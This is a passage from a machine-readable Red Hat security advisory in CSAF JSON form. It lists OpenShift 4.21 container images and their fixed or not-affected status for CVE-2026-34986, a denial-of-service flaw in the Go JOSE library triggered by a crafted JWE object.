"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-34986",
"cwe": {
"id": "CWE-131",
"name": "Incorrect Calculation of Buffer Size"
},
"discovery_date": "2026-04-06T17:01:34.639203+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2455470"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Go JOSE, a library for handling JSON Web Encryption (JWE) objects. A remote attacker could exploit this vulnerability by providing a specially crafted JWE object. When decrypting such an object, if a key wrapping algorithm is specified but the encrypted key field is empty, the application can crash. This leads to a denial of service (DoS), making the affected service unavailable to legitimate users.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "github.com/go-jose/go-jose/v3: github.com/go-jose/go-jose/v4: Go JOSE: Denial of Service via crafted JSON Web Encryption (JWE) object",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
